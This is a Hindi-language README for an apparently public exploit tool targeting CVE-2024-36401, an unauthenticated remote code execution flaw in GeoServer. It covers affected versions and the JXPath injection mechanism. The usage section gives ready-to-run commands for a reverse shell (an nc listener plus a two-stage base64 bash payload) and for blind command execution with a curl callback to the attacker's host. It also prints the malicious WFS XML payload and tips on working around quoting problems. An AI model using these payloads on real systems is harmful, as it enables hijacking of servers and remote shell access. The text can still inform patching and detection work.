CVE-2024-36401 — GeoServer OGC XPath इंजेक्शन RCE

GeoServer के लिए OGC फ़िल्टर valueReference पैरामीटर इंजेक्शन (XPath/JXPath मूल्यांकन) के माध्यम से बिना प्रमाणीकरण के रिमोट कोड निष्पादन (RCE) एक्सप्लॉइट।

अस्वीकरण: यह टूल केवल अधिकृत पेनेट्रेशन परीक्षण और सुरक्षा अनुसंधान के लिए है। इसे उन सिस्टम के विरुद्ध उपयोग न करें जिनके आप स्वामी नहीं हैं या जिनके परीक्षण की स्पष्ट लिखित अनुमति नहीं है। लेखक दुरुपयोग या इस टूल से होने वाली क्षति के लिए कोई ज़िम्मेदारी नहीं लेता है।

---

विषय-सूची

• अवलोकन
• प्रभावित संस्करण
• तकनीकी विवरण
• आवश्यकताएँ
• स्थापना
• उपयोग
• उदाहरण
• यह कैसे काम करता है
• समस्या निवारण
• संदर्भ

---

अवलोकन

GeoServer भू-स्थानिक डेटा साझा करने के लिए एक ओपन-सोर्स Java सर्वर है, जो सरकारी, उद्यम और अनुसंधान वातावरणों में व्यापक रूप से तैनात है। CVE-2024-36401 एक बिना प्रमाणीकृत हमलावर को OGC (Open Geospatial Consortium) फ़िल्टर पैरामीटरों में Java एक्सप्रेशन इंजेक्ट करके होस्ट पर मनमाने OS कमांड निष्पादित करने की अनुमति देता है।

इस भेद्यता को जुलाई 2024 में सक्रिय शोषण के कारण CISA Known Exploited Vulnerabilities (KEV) कैटलॉग में जोड़ा गया था।

---

प्रभावित संस्करण

ब्रांच	असुरक्षित रेंज	सुधार संस्करण
2.23.x	< 2.23.6	2.23.6
2.24.x	< 2.24.4	2.24.4
2.25.x	< 2.25.2	2.25.2

GeoServer के 2.23.0 से पुराने संस्करण भी प्रभावित हो सकते हैं, लेकिन वे end-of-life हैं और परीक्षण नहीं किए गए हैं।

---

तकनीकी विवरण

GeoServer OGC फ़िल्टर एक्सप्रेशन का मूल्यांकन करने के लिए GeoTools लाइब्रेरी का उपयोग करता है। valueReference पैरामीटर (और अन्य जैसे CQL_FILTER) बिना सैनिटाइज़ेशन के Apache Commons JXPath के JXPathContext.selectNodes() को पास किया जाता है।

JXPath निम्नलिखित जैसे एक्सप्रेशन के माध्यम से मनमाने Java मेथड को कॉल करने का समर्थन करता है:

exec(java.lang.Runtime.getRuntime(), 'id')

यह मूल्यांकन कुछ एंडपॉइंट्स के लिए प्रमाणीकरण जाँच से पहले होता है, जिससे भेद्यता पूरी तरह से बिना प्रमाणीकरण के शोषण योग्य बन जाती है।

असुरक्षित एंडपॉइंट्स:

• POST /geoserver/wfs — valueReference के साथ GetPropertyValue अनुरोध
• GET /geoserver/ows — क्वेरी स्ट्रिंग के माध्यम से वही पैरामीटर

मुख्य तकनीकी नोट: valueReference एक्सप्रेशन में कमांड स्ट्रिंग के चारों ओर सिंगल कोट्स (') का उपयोग होना चाहिए। डबल कोट्स (") XML पार्सिंग विफलताओं का कारण बनते हैं और निष्पादन को रोकते हैं — यह अन्य सार्वजनिक PoCs में एक सामान्य गलती है।

---

आवश्यकताएँ

• Python 3.9+
• requests लाइब्रेरी
• एक असुरक्षित GeoServer संस्करण चला रहा टारगेट जिसमें कम से कम एक WFS फ़ीचर टाइप उपलब्ध हो (डिफ़ॉल्ट सैंपल डेटा वर्कस्पेस sf, topp, tiger पर्याप्त हैं)

---

स्थापना

git clone https://github.com/Delt-A/CVE-2024-36401-poc
cd CVE-2024-36401-poc
pip3 install requests

या निर्भरताएँ सीधे इंस्टॉल करें:

pip3 install requests

---

उपयोग

usage: exploit_CVE-2024-36401.py [-h] -t TARGET [-l LHOST] [-p LPORT]
                                  [-c CMD] [-f FEATURE]

options:
  -h, --help            show this help message and exit
  -t, --target TARGET   Target URL, e.g. http://<TARGET>:8080
  -l, --lhost LHOST     Your IP address for reverse shell callback
  -p, --lport LPORT     Listener port (default: 4444)
  -c, --cmd CMD         Single command to execute (no output returned)
  -f, --feature FEATURE Feature type override (auto-detected if omitted)

मोड

मोड	फ़्लैग	विवरण
रिवर्स शेल	-l LHOST -p LPORT	bash के माध्यम से दो-चरणीय रिवर्स शेल
कमांड निष्पादन	-c CMD	एकल कमांड निष्पादित करें (ब्लाइंड — कोई आउटपुट नहीं)
फ़ीचर टाइप ओवरराइड	-f FEATURE	ऑटो-डिटेक्शन छोड़ें, निर्दिष्ट प्रकार का उपयोग करें

---

उदाहरण

1. रिवर्स शेल (अनुशंसित)

पहले एक लिसनर प्रारंभ करें:

nc -lvnp 4444

फिर एक्सप्लॉइट चलाएँ:

python3 exploit_CVE-2024-36401.py \
  -t http://<TARGET>:8080 \
  -l <LHOST> \
  -p 4444

अपेक्षित आउटपुट:

   _______    ________    ___   ____ ___  __ __       _____ _____ __ __  ____
  / ____/ |  / / ____/   |__ \ / __ \__ \/ // /      |__  // ___// // / / __ \
 / /    | | / / __/________/ // / / /_/ / // /_______ /_ </ __ \/ // /_/ / / /
/ /___  | |/ / /__/_____/ __// /_/ / __/__  __/_____/__/ / /_/ /__  __/ /_/ /
\____/  |___/_____/    /____/\____/____/ /_/       /____/\____/  /_/  \____/
   ___
  <  /
  / /
 / /
/_/

  GeoServer OGC XPath Injection RCE  |  CVE-2024-36401
  Unauthenticated  |  CVSS 9.8  |  Affects < 2.25.2 / 2.24.4 / 2.23.6

[*] Target : http://<TARGET>:8080

[+] GeoServer detected — version: 2.24.2
[+] Version 2.24.2 is VULNERABLE
[*] Probing feature types...
[+] Feature type: sf:archsites

[*] Feature type : sf:archsites
[*] Listener      : <LHOST>:4444
[*] Start         : nc -lvnp 4444

[*] Stage 1 — writing /tmp/rs.sh on target...
[+] Payload delivered via sf:archsites
[*] Stage 2 — executing → <LHOST>:4444
[+] Done — check your listener

लिसनर पर:

Connection received on <TARGET> 43210
bash: cannot set terminal process group: Inappropriate ioctl for device
bash: no job control in this shell
geoserver@target:~$

---

2. कमांड निष्पादन (ब्लाइंड)

आउटपुट प्राप्त किए बिना एक कमांड निष्पादित करें। आउट-ऑफ-बैंड सत्यापन या फ़ाइलें डालने के लिए उपयोगी:

# Verify execution via file creation
python3 exploit_CVE-2024-36401.py \
  -t http://<TARGET>:8080 \
  -c "touch /tmp/pwned"

# Trigger a curl callback to confirm execution
python3 exploit_CVE-2024-36401.py \
  -t http://<TARGET>:8080 \
  -c "curl http://<LHOST>:8000/pwned"

नोट: शेल मेटाकैरेक्टर (>, |, &, ;) वाले कमांड पार्सिंग समस्याओं से बचने के लिए स्वचालित रूप से base64-एन्कोड किए जाते हैं।

---

3. फ़ीचर टाइप मैन्युअल रूप से निर्दिष्ट करें

यदि ऑटो-डिटेक्शन विफल हो जाता है, तो टारगेट से एक ज्ञात फ़ीचर टाइप प्रदान करें:

python3 exploit_CVE-2024-36401.py \
  -t http://<TARGET>:8080 \
  -l <LHOST> \
  -p 4444 \
  -f topp:states

GeoServer सैंपल डेटा के साथ शामिल सामान्य फ़ीचर टाइप:

वर्कस्पेस	फ़ीचर टाइप
sf	sf:archsites, sf:bugsites, sf:roads, sf:streams
topp	topp:states, topp:tasmania_cities, topp:tasmania_roads
tiger	tiger:giant_polygon, tiger:poi, tiger:tiger_roads
cite	cite:Buildings

---

यह कैसे काम करता है

एक्सप्लॉइट एक दुर्भावनापूर्ण valueReference एक्सप्रेशन के साथ GetPropertyValue WFS अनुरोध भेजता है:

<wfs:GetPropertyValue service='WFS' version='2.0.0'
  xmlns:wfs='http://www.opengis.net/wfs/2.0'>
  <wfs:Query typeNames='sf:archsites'/>
  <wfs:valueReference>
    exec(java.lang.Runtime.getRuntime(),'COMMAND')
  </wfs:valueReference>
</wfs:GetPropertyValue>

रिवर्स शेल के लिए, exec() सिंगल-स्ट्रिंग आर्गुमेंट के अंदर शेल मेटाकैरेक्टर से बचने के लिए दो-चरणीय दृष्टिकोण का उपयोग किया जाता है:

चरण 1 — base64 एन्कोडिंग और शेल ब्रेस एक्सपैंशन का उपयोग करके रिवर्स शेल को /tmp/rs.sh में लिखें (exec स्ट्रिंग में कोई स्पेस नहीं):

bash -c {echo,BASE64_PAYLOAD}|{base64,-d}|{tee,/tmp/rs.sh}

चरण 2 — स्क्रिप्ट निष्पादित करें:

bash /tmp/rs.sh

यह दृष्टिकोण पहले exec() कॉल में शेल इंटरप्रेटर की आवश्यकता से बचाता है, जिससे यह विभिन्न सिस्टम कॉन्फ़िगरेशन में विश्वसनीय बनता है।

---

समस्या निवारण

[-] Cannot connect to target

• सत्यापित करें कि टारगेट URL और पोर्ट सही हैं
• पुष्टि करें कि GeoServer चल रहा है: curl http://<TARGET>:8080/geoserver/web/